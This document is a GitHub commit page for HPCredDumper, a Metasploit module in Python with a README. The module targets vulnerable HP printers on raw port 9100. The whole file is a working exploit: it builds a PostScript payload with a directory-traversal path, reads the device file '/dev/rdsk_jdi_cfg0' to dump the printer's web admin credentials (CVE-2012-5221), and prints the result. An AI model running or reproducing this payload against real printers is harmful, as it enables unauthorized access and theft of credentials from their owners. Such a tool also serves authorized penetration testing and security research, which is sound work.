Skip to content

Commit e987f4e

Browse files
author
aredspy
committed
first commit
0 parents  commit e987f4e

File tree

2 files changed

+146
-0
lines changed

2 files changed

+146
-0
lines changed

README.md

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# HPCredDumper
2+
Simple metasploit module that attempts to dump HP printer web admin credentials
3+
4+
## Installation
5+
6+
Download `hp_printer.py` and copy to `/usr/share/metasploit-framework/modules/auxiliary/scanner/printer`
7+
Then run `reload_all` from the msfconsole if it is already running.
8+
9+
```
10+
> cp hp_printer.py /usr/share/metasploit-framework/modules/auxiliary/scanner/printer
11+
> msfconsole
12+
13+
...
14+
15+
msf6 > use scanner/printer/hp_printer
16+
msf6 auxiliary(scanner/printer/hp_printer) >
17+
```
18+
19+
## Associated CVE
20+
21+
- CVE-2012-5221

hp_printer.py

+125
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
# Automated PJL/PS cred dumper for vulnerable HP printers (must have dir traversal and '/dev/rdsk_jdi_cfg0')
5+
6+
from dataclasses import replace
7+
from metasploit import module
8+
import logging
9+
import time
10+
import socket
11+
import ipaddress
12+
13+
metadata = {
14+
'name': 'hp_printer_traversal_dump',
15+
'description': '''
16+
Automated PostScript web credential dumper for vulerable HP (or other make) printers.
17+
This module sends a file read payload using a set directory traversal
18+
technique to read files outside the sandboxed PS file share typically
19+
found on port 9100. By default the module will try to read the web admin credentials
20+
via '/dev/rdsk_jdi_cfg0'. Directory traversal options can be discovered
21+
with an external tool such as PRET and running 'fuzz path' or 'fuzz blind'
22+
on a target host.
23+
''',
24+
'authors': [
25+
'Ismaeel Mian (aredspy)'
26+
],
27+
'date': '2022-06-27',
28+
'license': 'MSF_LICENSE',
29+
'references': [
30+
{'type': 'url', 'ref': 'http://hacking-printers.net/wiki/index.php/File_system_access'},
31+
{'type': 'cve', 'ref': '2012-5221'}
32+
],
33+
'type': 'single_scanner',
34+
'options': {
35+
#'rhosts': {'type': 'address', 'description': 'The target host(s)', 'required': True, 'default': None},
36+
'RPORT': {'type': 'port', 'description': 'The target raw printer port (see http://hacking-printers.net/wiki/index.php/Port_9100_printing)', 'required': True, 'default': 9100},
37+
'traversal_path': {'type': 'string', 'description': 'Traversal technique to use (or unset for none)', 'required': False, 'default': '../../../'},
38+
'file_path': {'type': 'string', 'description': 'The target file to read data from', 'required': True, 'default': '/dev/rdsk_jdi_cfg0'},
39+
#'protocol': {'type': 'string', 'description': 'Protocol to use. Accepted: PJL or PS', 'required': True, 'default': 'PS'},
40+
'buffer_chunks': {'type': 'int', 'description': 'The amount of 256 bytes chunks to read from file. Useful for reading device files which may return infinite bytes.', 'required': True, 'default': '20'},
41+
}
42+
}
43+
44+
def run(args):
45+
46+
#logging
47+
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
48+
49+
#lazy fix for unused PJL
50+
args['protocol'] = 'PS'
51+
52+
#create payload
53+
54+
if args['file_path'][0:1] == '/' or args['file_path'][0:1] == '\\':
55+
file_path = args['file_path'][1:]
56+
else:
57+
file_path = args['file_path']
58+
59+
try:
60+
fullpath = args['traversal_path'] + file_path
61+
except Exception:
62+
fullpath = file_path
63+
64+
if args['protocol'].upper() == 'PS':
65+
66+
#Use multiline strings they said. Will make your code look more clean they said.
67+
payload = '''@PJL ENTER LANGUAGE = POSTSCRIPT
68+
/byte (0) def
69+
/infile (''' + fullpath + ''') (r) file def
70+
{ infile read {byte exch 0 exch put
71+
(%stdout) (w) file byte writestring}
72+
{infile closefile exit} ifelse
73+
} loop
74+
'''
75+
76+
elif args['protocol'].upper() == 'PJL':
77+
pass
78+
else:
79+
logging.error('{}'.format('Please specify either PJL or PS for the protocol'))
80+
return
81+
82+
#create tcp connection and send payload
83+
84+
addr = ipaddress.ip_address(args['rhost'])
85+
86+
if addr.version == 4:
87+
s_type = socket.AF_INET
88+
elif addr.version == 6:
89+
s_type = socket.AF_INET6
90+
91+
s = socket.socket(s_type, socket.SOCK_STREAM)
92+
93+
try:
94+
logging.debug('{}'.format('connecting...'))
95+
s.connect((addr.exploded, int(args['RPORT'])))
96+
except Exception:
97+
logging.error('{}'.format('refused the connection (is the target port open?)'))
98+
return
99+
100+
#send payload
101+
logging.info('{}'.format('sending file read payload...'))
102+
103+
#read data output and print to console
104+
#size = 256
105+
samples = 0
106+
data = b''
107+
try:
108+
s.sendall(payload.encode('ascii'))
109+
while samples < int(args['buffer_chunks']):
110+
temp = s.recv(256)
111+
#size = len(temp)
112+
data = data + temp
113+
samples += 1
114+
except Exception:
115+
logging.error('{}'.format('Socket error with recv (is host responding/filtered?)'))
116+
117+
s.close()
118+
logging.info('{}'.format('Data dump as ASCII:'))
119+
ascii_data = data.decode('ascii', errors='replace')
120+
logging.info(ascii_data)
121+
#logging.info(data)
122+
123+
124+
if __name__ == '__main__':
125+
module.run(metadata, run)

0 commit comments

Comments
 (0)